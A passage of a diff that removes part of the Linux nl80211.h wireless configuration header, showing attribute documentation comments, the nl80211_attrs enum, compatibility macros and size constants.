- *	needs to handle all the non-filtered results anyway.
- *	If the match attributes don't make sense when combined with
- *	the values passed in @NL80211_ATTR_SCAN_SSIDS (eg. if an SSID
- *	is included in the probe request, but the match attributes
- *	will never let it go through), -EINVAL may be returned.
- *	If ommited, no filtering is done.
- *
- * @NL80211_ATTR_INTERFACE_COMBINATIONS: Nested attribute listing the supported
- *	interface combinations. In each nested item, it contains attributes
- *	defined in &enum nl80211_if_combination_attrs.
- * @NL80211_ATTR_SOFTWARE_IFTYPES: Nested attribute (just like
- *	%NL80211_ATTR_SUPPORTED_IFTYPES) containing the interface types that
- *	are managed in software: interfaces of these types aren't subject to
- *	any restrictions in their number or combinations.
- *
- * @NL80211_ATTR_REKEY_DATA: nested attribute containing the information
- *	necessary for GTK rekeying in the device, see &enum nl80211_rekey_data.
- *
- * @NL80211_ATTR_SCAN_SUPP_RATES: rates per to be advertised as supported in
- *scan, nested array attribute containing an entry for each band, with the entry
- *	being a list of supported rates as defined by IEEE 802.11 7.3.2.2 but
- *	without the length restriction (at most %NL80211_MAX_SUPP_RATES).
- *
- * @NL80211_ATTR_HIDDEN_SSID: indicates whether SSID is to be hidden from Beacon
- *	and Probe Response (when response to wildcard Probe Request); see
- *	&enum nl80211_hidden_ssid, represented as a u32
- *
- * @NL80211_ATTR_IE_PROBE_RESP: Information element(s) for Probe Response frame.
- *	This is used with %NL80211_CMD_NEW_BEACON and %NL80211_CMD_SET_BEACON to
- *	provide extra IEs (e.g., WPS/P2P IE) into Probe Response frames when the
- *	driver (or firmware) replies to Probe Request frames.
- * @NL80211_ATTR_IE_ASSOC_RESP: Information element(s) for (Re)Association
- *	Response frames. This is used with %NL80211_CMD_NEW_BEACON and
- *	%NL80211_CMD_SET_BEACON to provide extra IEs (e.g., WPS/P2P IE) into
- *	(Re)Association Response frames when the driver (or firmware) replies to
- *	(Re)Association Request frames.
- *
- * @NL80211_ATTR_STA_WME: Nested attribute containing the wme configuration
- *	of the station, see &enum nl80211_sta_wme_attr.
- * @NL80211_ATTR_SUPPORT_AP_UAPSD: the device supports uapsd when working
- *	as AP.
- *
- * @NL80211_ATTR_ROAM_SUPPORT: Indicates whether the firmware is capable of
- *	roaming to another AP in the same ESS if the signal lever is low.
- *
- * @NL80211_ATTR_PMKSA_CANDIDATE: Nested attribute containing the PMKSA caching
- *	candidate information, see &enum nl80211_pmksa_candidate_attr.
- *
- * @NL80211_ATTR_TX_NO_CCK_RATE: Indicates whether to use CCK rate or not
- *	for management frames transmission. In order to avoid p2p probe/action
- *	frames are being transmitted at CCK rate in 2GHz band, the user space
- *	applications use this attribute.
- *	This attribute is used with %NL80211_CMD_TRIGGER_SCAN and
- *	%NL80211_CMD_FRAME commands.
- *
- * @NL80211_ATTR_TDLS_ACTION: Low level TDLS action code (e.g. link setup
- *	request, link setup confirm, link teardown, etc.). Values are
- *	described in the TDLS (802.11z) specification.
- * @NL80211_ATTR_TDLS_DIALOG_TOKEN: Non-zero token for uniquely identifying a
- *	TDLS conversation between two devices.
- * @NL80211_ATTR_TDLS_OPERATION: High level TDLS operation; see
- *	&enum nl80211_tdls_operation, represented as a u8.
- * @NL80211_ATTR_TDLS_SUPPORT: A flag indicating the device can operate
- *	as a TDLS peer sta.
- * @NL80211_ATTR_TDLS_EXTERNAL_SETUP: The TDLS discovery/setup and teardown
- *	procedures should be performed by sending TDLS packets via
- *	%NL80211_CMD_TDLS_MGMT. Otherwise %NL80211_CMD_TDLS_OPER should be
- *	used for asking the driver to perform a TDLS operation.
- *
- * @NL80211_ATTR_DEVICE_AP_SME: This u32 attribute may be listed for devices
- *	that have AP support to indicate that they have the AP SME integrated
- *	with support for the features listed in this attribute, see
- *	&enum nl80211_ap_sme_features.
- *
- * @NL80211_ATTR_DONT_WAIT_FOR_ACK: Used with %NL80211_CMD_FRAME, this tells
- *	the driver to not wait for an acknowledgement. Note that due to this,
- *	it will also not give a status callback nor return a cookie. This is
- *	mostly useful for probe responses to save airtime.
- *
- * @NL80211_ATTR_FEATURE_FLAGS: This u32 attribute contains flags from
- *	&enum nl80211_feature_flags and is advertised in wiphy information.
- * @NL80211_ATTR_PROBE_RESP_OFFLOAD: Indicates that the HW responds to probe
- *	requests while operating in AP-mode.
- *	This attribute holds a bitmap of the supported protocols for
- *	offloading (see &enum nl80211_probe_resp_offload_support_attr).
- *
- * @NL80211_ATTR_PROBE_RESP: Probe Response template data. Contains the entire
- *	probe-response frame. The DA field in the 802.11 header is zero-ed out,
- *	to be filled by the FW.
- * @NL80211_ATTR_DISABLE_HT:  Force HT capable interfaces to disable
- *      this feature.  Currently, only supported in mac80211 drivers.
- * @NL80211_ATTR_HT_CAPABILITY_MASK: Specify which bits of the
- *      ATTR_HT_CAPABILITY to which attention should be paid.
- *      Currently, only mac80211 NICs support this feature.
- *      The values that may be configured are:
- *       MCS rates, MAX-AMSDU, HT-20-40 and HT_CAP_SGI_40
- *       AMPDU density and AMPDU factor.
- *      All values are treated as suggestions and may be ignored
- *      by the driver as required.  The actual values may be seen in
- *      the station debugfs ht_caps file.
- *
- * @NL80211_ATTR_DFS_REGION: region for regulatory rules which this country
- *    abides to when initiating radiation on DFS channels. A country maps
- *    to one DFS region.
- *
- * @NL80211_ATTR_NOACK_MAP: This u16 bitmap contains the No Ack Policy of
- *      up to 16 TIDs.
- *
- * @NL80211_ATTR_INACTIVITY_TIMEOUT: timeout value in seconds, this can be
- *	used by the drivers which has MLME in firmware and does not have support
- *	to report per station tx/rx activity to free up the staion entry from
- *	the list. This needs to be used when the driver advertises the
- *	capability to timeout the stations.
- *
- * @NL80211_ATTR_RX_SIGNAL_DBM: signal strength in dBm (as a 32-bit int);
- *	this attribute is (depending on the driver capabilities) added to
- *	received frames indicated with %NL80211_CMD_FRAME.
- *
- * @NL80211_ATTR_BG_SCAN_PERIOD: Background scan period in seconds
- *      or 0 to disable background scan.
- *
- * @NL80211_ATTR_USER_REG_HINT_TYPE: type of regulatory hint passed from
- *	userspace. If unset it is assumed the hint comes directly from
- *	a user. If set code could specify exactly what type of source
- *	was used to provide the hint. For the different types of
- *	allowed user regulatory hints see nl80211_user_reg_hint_type.
- *
- * @NL80211_ATTR_CONN_FAILED_REASON: The reason for which AP has rejected
- *	the connection request from a station. nl80211_connect_failed_reason
- *	enum has different reasons of connection failure.
- *
- * @NL80211_ATTR_SAE_DATA: SAE elements in Authentication frames. This starts
- *	with the Authentication transaction sequence number field.
- *
- * @NL80211_ATTR_VHT_CAPABILITY: VHT Capability information element (from
- *	association request when used with NL80211_CMD_NEW_STATION)
- *
- * @NL80211_ATTR_SCAN_FLAGS: scan request control flags (u32)
- *
- * @NL80211_ATTR_P2P_CTWINDOW: P2P GO Client Traffic Window (u8), used with
- *	the START_AP and SET_BSS commands
- * @NL80211_ATTR_P2P_OPPPS: P2P GO opportunistic PS (u8), used with the
- *	START_AP and SET_BSS commands. This can have the values 0 or 1;
- *	if not given in START_AP 0 is assumed, if not given in SET_BSS
- *	no change is made.
- *
- * @NL80211_ATTR_LOCAL_MESH_POWER_MODE: local mesh STA link-specific power mode
- *	defined in &enum nl80211_mesh_power_mode.
- *
- * @NL80211_ATTR_ACL_POLICY: ACL policy, see &enum nl80211_acl_policy,
- *	carried in a u32 attribute
- *
- * @NL80211_ATTR_MAC_ADDRS: Array of nested MAC addresses, used for
- *	MAC ACL.
- *
- * @NL80211_ATTR_MAC_ACL_MAX: u32 attribute to advertise the maximum
- *	number of MAC addresses that a device can support for MAC
- *	ACL.
- *
- * @NL80211_ATTR_RADAR_EVENT: Type of radar event for notification to userspace,
- *	contains a value of enum nl80211_radar_event (u32).
- *
- * @NL80211_ATTR_EXT_CAPA: 802.11 extended capabilities that the kernel driver
- *	has and handles. The format is the same as the IE contents. See
- *	802.11-2012 8.4.2.29 for more information.
- * @NL80211_ATTR_EXT_CAPA_MASK: Extended capabilities that the kernel driver
- *	has set in the %NL80211_ATTR_EXT_CAPA value, for multibit fields.
- *
- * @NL80211_ATTR_STA_CAPABILITY: Station capabilities (u16) are advertised to
- *	the driver, e.g., to enable TDLS power save (PU-APSD).
- *
- * @NL80211_ATTR_STA_EXT_CAPABILITY: Station extended capabilities are
- *	advertised to the driver, e.g., to enable TDLS off channel operations
- *	and PU-APSD.
- *
- * @NL80211_ATTR_PROTOCOL_FEATURES: global nl80211 feature flags, see
- *	&enum nl80211_protocol_features, the attribute is a u32.
- *
- * @NL80211_ATTR_SPLIT_WIPHY_DUMP: flag attribute, userspace supports
- *	receiving the data for a single wiphy split across multiple
- *	messages, given with wiphy dump message
- *
- * @NL80211_ATTR_MDID: Mobility Domain Identifier
- *
- * @NL80211_ATTR_IE_RIC: Resource Information Container Information
- *	Element
- *
- * @NL80211_ATTR_CRIT_PROT_ID: critical protocol identifier requiring increased
- *	reliability, see &enum nl80211_crit_proto_id (u16).
- * @NL80211_ATTR_MAX_CRIT_PROT_DURATION: duration in milliseconds in which
- *      the connection should have increased reliability (u16).
- *
- * @NL80211_ATTR_PEER_AID: Association ID for the peer TDLS station (u16).
- *	This is similar to @NL80211_ATTR_STA_AID but with a difference of being
- *	allowed to be used with the first @NL80211_CMD_SET_STATION command to
- *	update a TDLS peer STA entry.
- *
- * @NL80211_ATTR_COALESCE_RULE: Coalesce rule information.
- *
- * @NL80211_ATTR_CH_SWITCH_COUNT: u32 attribute specifying the number of TBTT's
- *	until the channel switch event.
- * @NL80211_ATTR_CH_SWITCH_BLOCK_TX: flag attribute specifying that transmission
- *	must be blocked on the current channel (before the channel switch
- *	operation).
- * @NL80211_ATTR_CSA_IES: Nested set of attributes containing the IE information
- *	for the time while performing a channel switch.
- * @NL80211_ATTR_CSA_C_OFF_BEACON: An array of offsets (u16) to the channel
- *	switch counters in the beacons tail (%NL80211_ATTR_BEACON_TAIL).
- * @NL80211_ATTR_CSA_C_OFF_PRESP: An array of offsets (u16) to the channel
- *	switch counters in the probe response (%NL80211_ATTR_PROBE_RESP).
- *
- * @NL80211_ATTR_RXMGMT_FLAGS: flags for nl80211_send_mgmt(), u32.
- *	As specified in the &enum nl80211_rxmgmt_flags.
- *
- * @NL80211_ATTR_STA_SUPPORTED_CHANNELS: array of supported channels.
- *
- * @NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES: array of supported
- *      supported operating classes.
- *
- * @NL80211_ATTR_HANDLE_DFS: A flag indicating whether user space
- *	controls DFS operation in IBSS mode. If the flag is included in
- *	%NL80211_CMD_JOIN_IBSS request, the driver will allow use of DFS
- *	channels and reports radar events to userspace. Userspace is required
- *	to react to radar events, e.g. initiate a channel switch or leave the
- *	IBSS network.
- *
- * @NL80211_ATTR_SUPPORT_5_MHZ: A flag indicating that the device supports
- *	5 MHz channel bandwidth.
- * @NL80211_ATTR_SUPPORT_10_MHZ: A flag indicating that the device supports
- *	10 MHz channel bandwidth.
- *
- * @NL80211_ATTR_OPMODE_NOTIF: Operating mode field from Operating Mode
- *	Notification Element based on association request when used with
- *	%NL80211_CMD_NEW_STATION; u8 attribute.
- *
- * @NL80211_ATTR_VENDOR_ID: The vendor ID, either a 24-bit OUI or, if
- *	%NL80211_VENDOR_ID_IS_LINUX is set, a special Linux ID (not used yet)
- * @NL80211_ATTR_VENDOR_SUBCMD: vendor sub-command
- * @NL80211_ATTR_VENDOR_DATA: data for the vendor command, if any; this
- *	attribute is also used for vendor command feature advertisement
- * @NL80211_ATTR_VENDOR_EVENTS: used for event list advertising in the wiphy
- *	info, containing a nested array of possible events
- *
- * @NL80211_ATTR_QOS_MAP: IP DSCP mapping for Interworking QoS mapping. This
- *	data is in the format defined for the payload of the QoS Map Set element
- *	in IEEE Std 802.11-2012, 8.4.2.97.
- *
- * @NL80211_ATTR_MAC_HINT: MAC address recommendation as initial BSS
- * @NL80211_ATTR_WIPHY_FREQ_HINT: frequency of the recommended initial BSS
- *
- * @NL80211_ATTR_MAX_AP_ASSOC_STA: Device attribute that indicates how many
- *	associated stations are supported in AP mode (including P2P GO); u32.
- *	Since drivers may not have a fixed limit on the maximum number (e.g.,
- *	other concurrent operations may affect this), drivers are allowed to
- *	advertise values that cannot always be met. In such cases, an attempt
- *	to add a new station entry with @NL80211_CMD_NEW_STATION may fail.
- *
- * @NL80211_ATTR_CSA_C_OFFSETS_TX: An array of csa counter offsets (u16) which
- *	should be updated when the frame is transmitted.
- * @NL80211_ATTR_MAX_CSA_COUNTERS: U8 attribute used to advertise the maximum
- *	supported number of csa counters.
- *
- * @NL80211_ATTR_TDLS_PEER_CAPABILITY: flags for TDLS peer capabilities, u32.
- *	As specified in the &enum nl80211_tdls_peer_capability.
- *
- * @NL80211_ATTR_IFACE_SOCKET_OWNER: flag attribute, if set during interface
- *	creation then the new interface will be owned by the netlink socket
- *	that created it and will be destroyed when the socket is closed.
- *	If set during scheduled scan start then the new scan req will be
- *	owned by the netlink socket that created it and the scheduled scan will
- *	be stopped when the socket is closed.
- *
- * @NL80211_ATTR_TDLS_INITIATOR: flag attribute indicating the current end is
- *	the TDLS link initiator.
- *
- * @NL80211_ATTR_USE_RRM: flag for indicating whether the current connection
- *	shall support Radio Resource Measurements (11k). This attribute can be
- *	used with %NL80211_CMD_ASSOCIATE and %NL80211_CMD_CONNECT requests.
- *	User space applications are expected to use this flag only if the
- *	underlying device supports these minimal RRM features:
- *		%NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES,
- *		%NL80211_FEATURE_QUIET,
- *	If this flag is used, driver must add the Power Capabilities IE to the
- *	association request. In addition, it must also set the RRM capability
- *	flag in the association request's Capability Info field.
- *
- * @NL80211_ATTR_WIPHY_DYN_ACK: flag attribute used to enable ACK timeout
- *	estimation algorithm (dynack). In order to activate dynack
- *	%NL80211_FEATURE_ACKTO_ESTIMATION feature flag must be set by lower
- *	drivers to indicate dynack capability. Dynack is automatically disabled
- *	setting valid value for coverage class.
- *
- * @NL80211_ATTR_TSID: a TSID value (u8 attribute)
- * @NL80211_ATTR_USER_PRIO: user priority value (u8 attribute)
- * @NL80211_ATTR_ADMITTED_TIME: admitted time in units of 32 microseconds
- *	(per second) (u16 attribute)
- *
- * @NL80211_ATTR_SMPS_MODE: SMPS mode to use (ap mode). see
- *	&enum nl80211_smps_mode.
- *
- * @NL80211_ATTR_PBSS: flag attribute. If set it means operate
- *	in a PBSS. Specified in %NL80211_CMD_CONNECT to request
- *	connecting to a PCP, and in %NL80211_CMD_START_AP to start
- *	a PCP instead of AP. Relevant for DMG networks only.
- *
- * @NL80211_ATTR_MAX: highest attribute number currently defined
- * @__NL80211_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_attrs {
-  /* don't change the order or add anything between, this is ABI! */
-  NL80211_ATTR_UNSPEC,
-
-  NL80211_ATTR_WIPHY,
-  NL80211_ATTR_WIPHY_NAME,
-
-  NL80211_ATTR_IFINDEX,
-  NL80211_ATTR_IFNAME,
-  NL80211_ATTR_IFTYPE,
-
-  NL80211_ATTR_MAC,
-
-  NL80211_ATTR_KEY_DATA,
-  NL80211_ATTR_KEY_IDX,
-  NL80211_ATTR_KEY_CIPHER,
-  NL80211_ATTR_KEY_SEQ,
-  NL80211_ATTR_KEY_DEFAULT,
-
-  NL80211_ATTR_BEACON_INTERVAL,
-  NL80211_ATTR_DTIM_PERIOD,
-  NL80211_ATTR_BEACON_HEAD,
-  NL80211_ATTR_BEACON_TAIL,
-
-  NL80211_ATTR_STA_AID,
-  NL80211_ATTR_STA_FLAGS,
-  NL80211_ATTR_STA_LISTEN_INTERVAL,
-  NL80211_ATTR_STA_SUPPORTED_RATES,
-  NL80211_ATTR_STA_VLAN,
-  NL80211_ATTR_STA_INFO,
-
-  NL80211_ATTR_WIPHY_BANDS,
-
-  NL80211_ATTR_MNTR_FLAGS,
-
-  NL80211_ATTR_MESH_ID,
-  NL80211_ATTR_STA_PLINK_ACTION,
-  NL80211_ATTR_MPATH_NEXT_HOP,
-  NL80211_ATTR_MPATH_INFO,
-
-  NL80211_ATTR_BSS_CTS_PROT,
-  NL80211_ATTR_BSS_SHORT_PREAMBLE,
-  NL80211_ATTR_BSS_SHORT_SLOT_TIME,
-
-  NL80211_ATTR_HT_CAPABILITY,
-
-  NL80211_ATTR_SUPPORTED_IFTYPES,
-
-  NL80211_ATTR_REG_ALPHA2,
-  NL80211_ATTR_REG_RULES,
-
-  NL80211_ATTR_MESH_CONFIG,
-
-  NL80211_ATTR_BSS_BASIC_RATES,
-
-  NL80211_ATTR_WIPHY_TXQ_PARAMS,
-  NL80211_ATTR_WIPHY_FREQ,
-  NL80211_ATTR_WIPHY_CHANNEL_TYPE,
-
-  NL80211_ATTR_KEY_DEFAULT_MGMT,
-
-  NL80211_ATTR_MGMT_SUBTYPE,
-  NL80211_ATTR_IE,
-
-  NL80211_ATTR_MAX_NUM_SCAN_SSIDS,
-
-  NL80211_ATTR_SCAN_FREQUENCIES,
-  NL80211_ATTR_SCAN_SSIDS,
-  NL80211_ATTR_GENERATION, /* replaces old SCAN_GENERATION */
-  NL80211_ATTR_BSS,
-
-  NL80211_ATTR_REG_INITIATOR,
-  NL80211_ATTR_REG_TYPE,
-
-  NL80211_ATTR_SUPPORTED_COMMANDS,
-
-  NL80211_ATTR_FRAME,
-  NL80211_ATTR_SSID,
-  NL80211_ATTR_AUTH_TYPE,
-  NL80211_ATTR_REASON_CODE,
-
-  NL80211_ATTR_KEY_TYPE,
-
-  NL80211_ATTR_MAX_SCAN_IE_LEN,
-  NL80211_ATTR_CIPHER_SUITES,
-
-  NL80211_ATTR_FREQ_BEFORE,
-  NL80211_ATTR_FREQ_AFTER,
-
-  NL80211_ATTR_FREQ_FIXED,
-
-  NL80211_ATTR_WIPHY_RETRY_SHORT,
-  NL80211_ATTR_WIPHY_RETRY_LONG,
-  NL80211_ATTR_WIPHY_FRAG_THRESHOLD,
-  NL80211_ATTR_WIPHY_RTS_THRESHOLD,
-
-  NL80211_ATTR_TIMED_OUT,
-
-  NL80211_ATTR_USE_MFP,
-
-  NL80211_ATTR_STA_FLAGS2,
-
-  NL80211_ATTR_CONTROL_PORT,
-
-  NL80211_ATTR_TESTDATA,
-
-  NL80211_ATTR_PRIVACY,
-
-  NL80211_ATTR_DISCONNECTED_BY_AP,
-  NL80211_ATTR_STATUS_CODE,
-
-  NL80211_ATTR_CIPHER_SUITES_PAIRWISE,
-  NL80211_ATTR_CIPHER_SUITE_GROUP,
-  NL80211_ATTR_WPA_VERSIONS,
-  NL80211_ATTR_AKM_SUITES,
-
-  NL80211_ATTR_REQ_IE,
-  NL80211_ATTR_RESP_IE,
-
-  NL80211_ATTR_PREV_BSSID,
-
-  NL80211_ATTR_KEY,
-  NL80211_ATTR_KEYS,
-
-  NL80211_ATTR_PID,
-
-  NL80211_ATTR_4ADDR,
-
-  NL80211_ATTR_SURVEY_INFO,
-
-  NL80211_ATTR_PMKID,
-  NL80211_ATTR_MAX_NUM_PMKIDS,
-
-  NL80211_ATTR_DURATION,
-
-  NL80211_ATTR_COOKIE,
-
-  NL80211_ATTR_WIPHY_COVERAGE_CLASS,
-
-  NL80211_ATTR_TX_RATES,
-
-  NL80211_ATTR_FRAME_MATCH,
-
-  NL80211_ATTR_ACK,
-
-  NL80211_ATTR_PS_STATE,
-
-  NL80211_ATTR_CQM,
-
-  NL80211_ATTR_LOCAL_STATE_CHANGE,
-
-  NL80211_ATTR_AP_ISOLATE,
-
-  NL80211_ATTR_WIPHY_TX_POWER_SETTING,
-  NL80211_ATTR_WIPHY_TX_POWER_LEVEL,
-
-  NL80211_ATTR_TX_FRAME_TYPES,
-  NL80211_ATTR_RX_FRAME_TYPES,
-  NL80211_ATTR_FRAME_TYPE,
-
-  NL80211_ATTR_CONTROL_PORT_ETHERTYPE,
-  NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT,
-
-  NL80211_ATTR_SUPPORT_IBSS_RSN,
-
-  NL80211_ATTR_WIPHY_ANTENNA_TX,
-  NL80211_ATTR_WIPHY_ANTENNA_RX,
-
-  NL80211_ATTR_MCAST_RATE,
-
-  NL80211_ATTR_OFFCHANNEL_TX_OK,
-
-  NL80211_ATTR_BSS_HT_OPMODE,
-
-  NL80211_ATTR_KEY_DEFAULT_TYPES,
-
-  NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION,
-
-  NL80211_ATTR_MESH_SETUP,
-
-  NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX,
-  NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX,
-
-  NL80211_ATTR_SUPPORT_MESH_AUTH,
-  NL80211_ATTR_STA_PLINK_STATE,
-
-  NL80211_ATTR_WOWLAN_TRIGGERS,
-  NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED,
-
-  NL80211_ATTR_SCHED_SCAN_INTERVAL,
-
-  NL80211_ATTR_INTERFACE_COMBINATIONS,
-  NL80211_ATTR_SOFTWARE_IFTYPES,
-
-  NL80211_ATTR_REKEY_DATA,
-
-  NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS,
-  NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN,
-
-  NL80211_ATTR_SCAN_SUPP_RATES,
-
-  NL80211_ATTR_HIDDEN_SSID,
-
-  NL80211_ATTR_IE_PROBE_RESP,
-  NL80211_ATTR_IE_ASSOC_RESP,
-
-  NL80211_ATTR_STA_WME,
-  NL80211_ATTR_SUPPORT_AP_UAPSD,
-
-  NL80211_ATTR_ROAM_SUPPORT,
-
-  NL80211_ATTR_SCHED_SCAN_MATCH,
-  NL80211_ATTR_MAX_MATCH_SETS,
-
-  NL80211_ATTR_PMKSA_CANDIDATE,
-
-  NL80211_ATTR_TX_NO_CCK_RATE,
-
-  NL80211_ATTR_TDLS_ACTION,
-  NL80211_ATTR_TDLS_DIALOG_TOKEN,
-  NL80211_ATTR_TDLS_OPERATION,
-  NL80211_ATTR_TDLS_SUPPORT,
-  NL80211_ATTR_TDLS_EXTERNAL_SETUP,
-
-  NL80211_ATTR_DEVICE_AP_SME,
-
-  NL80211_ATTR_DONT_WAIT_FOR_ACK,
-
-  NL80211_ATTR_FEATURE_FLAGS,
-
-  NL80211_ATTR_PROBE_RESP_OFFLOAD,
-
-  NL80211_ATTR_PROBE_RESP,
-
-  NL80211_ATTR_DFS_REGION,
-
-  NL80211_ATTR_DISABLE_HT,
-  NL80211_ATTR_HT_CAPABILITY_MASK,
-
-  NL80211_ATTR_NOACK_MAP,
-
-  NL80211_ATTR_INACTIVITY_TIMEOUT,
-
-  NL80211_ATTR_RX_SIGNAL_DBM,
-
-  NL80211_ATTR_BG_SCAN_PERIOD,
-
-  NL80211_ATTR_WDEV,
-
-  NL80211_ATTR_USER_REG_HINT_TYPE,
-
-  NL80211_ATTR_CONN_FAILED_REASON,
-
-  NL80211_ATTR_SAE_DATA,
-
-  NL80211_ATTR_VHT_CAPABILITY,
-
-  NL80211_ATTR_SCAN_FLAGS,
-
-  NL80211_ATTR_CHANNEL_WIDTH,
-  NL80211_ATTR_CENTER_FREQ1,
-  NL80211_ATTR_CENTER_FREQ2,
-
-  NL80211_ATTR_P2P_CTWINDOW,
-  NL80211_ATTR_P2P_OPPPS,
-
-  NL80211_ATTR_LOCAL_MESH_POWER_MODE,
-
-  NL80211_ATTR_ACL_POLICY,
-
-  NL80211_ATTR_MAC_ADDRS,
-
-  NL80211_ATTR_MAC_ACL_MAX,
-
-  NL80211_ATTR_RADAR_EVENT,
-
-  NL80211_ATTR_EXT_CAPA,
-  NL80211_ATTR_EXT_CAPA_MASK,
-
-  NL80211_ATTR_STA_CAPABILITY,
-  NL80211_ATTR_STA_EXT_CAPABILITY,
-
-  NL80211_ATTR_PROTOCOL_FEATURES,
-  NL80211_ATTR_SPLIT_WIPHY_DUMP,
-
-  NL80211_ATTR_DISABLE_VHT,
-  NL80211_ATTR_VHT_CAPABILITY_MASK,
-
-  NL80211_ATTR_MDID,
-  NL80211_ATTR_IE_RIC,
-
-  NL80211_ATTR_CRIT_PROT_ID,
-  NL80211_ATTR_MAX_CRIT_PROT_DURATION,
-
-  NL80211_ATTR_PEER_AID,
-
-  NL80211_ATTR_COALESCE_RULE,
-
-  NL80211_ATTR_CH_SWITCH_COUNT,
-  NL80211_ATTR_CH_SWITCH_BLOCK_TX,
-  NL80211_ATTR_CSA_IES,
-  NL80211_ATTR_CSA_C_OFF_BEACON,
-  NL80211_ATTR_CSA_C_OFF_PRESP,
-
-  NL80211_ATTR_RXMGMT_FLAGS,
-
-  NL80211_ATTR_STA_SUPPORTED_CHANNELS,
-
-  NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES,
-
-  NL80211_ATTR_HANDLE_DFS,
-
-  NL80211_ATTR_SUPPORT_5_MHZ,
-  NL80211_ATTR_SUPPORT_10_MHZ,
-
-  NL80211_ATTR_OPMODE_NOTIF,
-
-  NL80211_ATTR_VENDOR_ID,
-  NL80211_ATTR_VENDOR_SUBCMD,
-  NL80211_ATTR_VENDOR_DATA,
-  NL80211_ATTR_VENDOR_EVENTS,
-
-  NL80211_ATTR_QOS_MAP,
-
-  NL80211_ATTR_MAC_HINT,
-  NL80211_ATTR_WIPHY_FREQ_HINT,
-
-  NL80211_ATTR_MAX_AP_ASSOC_STA,
-
-  NL80211_ATTR_TDLS_PEER_CAPABILITY,
-
-  NL80211_ATTR_IFACE_SOCKET_OWNER,
-
-  NL80211_ATTR_CSA_C_OFFSETS_TX,
-  NL80211_ATTR_MAX_CSA_COUNTERS,
-
-  NL80211_ATTR_TDLS_INITIATOR,
-
-  NL80211_ATTR_USE_RRM,
-
-  NL80211_ATTR_WIPHY_DYN_ACK,
-
-  NL80211_ATTR_TSID,
-  NL80211_ATTR_USER_PRIO,
-  NL80211_ATTR_ADMITTED_TIME,
-
-  NL80211_ATTR_SMPS_MODE,
-
-  NL80211_ATTR_OPER_CLASS,
-
-  NL80211_ATTR_MAC_MASK,
-
-  NL80211_ATTR_WIPHY_SELF_MANAGED_REG,
-
-  NL80211_ATTR_EXT_FEATURES,
-
-  NL80211_ATTR_SURVEY_RADIO_STATS,
-
-  NL80211_ATTR_NETNS_FD,
-
-  NL80211_ATTR_SCHED_SCAN_DELAY,
-
-  NL80211_ATTR_REG_INDOOR,
-
-  NL80211_ATTR_MAX_NUM_SCHED_SCAN_PLANS,
-  NL80211_ATTR_MAX_SCAN_PLAN_INTERVAL,
-  NL80211_ATTR_MAX_SCAN_PLAN_ITERATIONS,
-  NL80211_ATTR_SCHED_SCAN_PLANS,
-
-  NL80211_ATTR_PBSS,
-
-  /* add attributes here, update the policy in nl80211.c */
-
-  __NL80211_ATTR_AFTER_LAST,
-  NL80211_ATTR_MAX = __NL80211_ATTR_AFTER_LAST - 1
-};
-
-/* source-level API compatibility */
-#define NL80211_ATTR_SCAN_GENERATION NL80211_ATTR_GENERATION
-#define NL80211_ATTR_MESH_PARAMS NL80211_ATTR_MESH_CONFIG
-
-/*
- * Allow user space programs to use #ifdef on new attributes by defining them
- * here
- */
-#define NL80211_CMD_CONNECT NL80211_CMD_CONNECT
-#define NL80211_ATTR_HT_CAPABILITY NL80211_ATTR_HT_CAPABILITY
-#define NL80211_ATTR_BSS_BASIC_RATES NL80211_ATTR_BSS_BASIC_RATES
-#define NL80211_ATTR_WIPHY_TXQ_PARAMS NL80211_ATTR_WIPHY_TXQ_PARAMS
-#define NL80211_ATTR_WIPHY_FREQ NL80211_ATTR_WIPHY_FREQ
-#define NL80211_ATTR_WIPHY_CHANNEL_TYPE NL80211_ATTR_WIPHY_CHANNEL_TYPE
-#define NL80211_ATTR_MGMT_SUBTYPE NL80211_ATTR_MGMT_SUBTYPE
-#define NL80211_ATTR_IE NL80211_ATTR_IE
-#define NL80211_ATTR_REG_INITIATOR NL80211_ATTR_REG_INITIATOR
-#define NL80211_ATTR_REG_TYPE NL80211_ATTR_REG_TYPE
-#define NL80211_ATTR_FRAME NL80211_ATTR_FRAME
-#define NL80211_ATTR_SSID NL80211_ATTR_SSID
-#define NL80211_ATTR_AUTH_TYPE NL80211_ATTR_AUTH_TYPE
-#define NL80211_ATTR_REASON_CODE NL80211_ATTR_REASON_CODE
-#define NL80211_ATTR_CIPHER_SUITES_PAIRWISE NL80211_ATTR_CIPHER_SUITES_PAIRWISE
-#define NL80211_ATTR_CIPHER_SUITE_GROUP NL80211_ATTR_CIPHER_SUITE_GROUP
-#define NL80211_ATTR_WPA_VERSIONS NL80211_ATTR_WPA_VERSIONS
-#define NL80211_ATTR_AKM_SUITES NL80211_ATTR_AKM_SUITES
-#define NL80211_ATTR_KEY NL80211_ATTR_KEY
-#define NL80211_ATTR_KEYS NL80211_ATTR_KEYS
-#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS
-
-#define NL80211_MAX_SUPP_RATES 32
-#define NL80211_MAX_SUPP_HT_RATES 77
-#define NL80211_MAX_SUPP_REG_RULES 32
-#define NL80211_TKIP_DATA_OFFSET_ENCR_KEY 0
-#define NL80211_TKIP_DATA_OFFSET_TX_MIC_KEY 16
-#define NL80211_TKIP_DATA_OFFSET_RX_MIC_KEY 24
-#define NL80211_HT_CAPABILITY_LEN 26
-#define NL80211_VHT_CAPABILITY_LEN 12
-
-#define NL80211_MAX_NR_CIPHER_SUITES 5
-#define NL80211_MAX_NR_AKM_SUITES 2
-
-#define NL80211_MIN_REMAIN_ON_CHANNEL_TIME 10
-
-/* default RSSI threshold for scan results if none specified. */
-#define NL80211_SCAN_RSSI_THOLD_OFF -300
-
-#define NL80211_CQM_TXE_MAX_INTVL 1800
-
-/**
- * enum nl80211_iftype - (virtual) interface types
- *
- * @NL80211_IFTYPE_UNSPECIFIED: unspecified type, driver decides
- * @NL80211_IFTYPE_ADHOC: independent BSS member
- * @NL80211_IFTYPE_STATION: managed BSS member
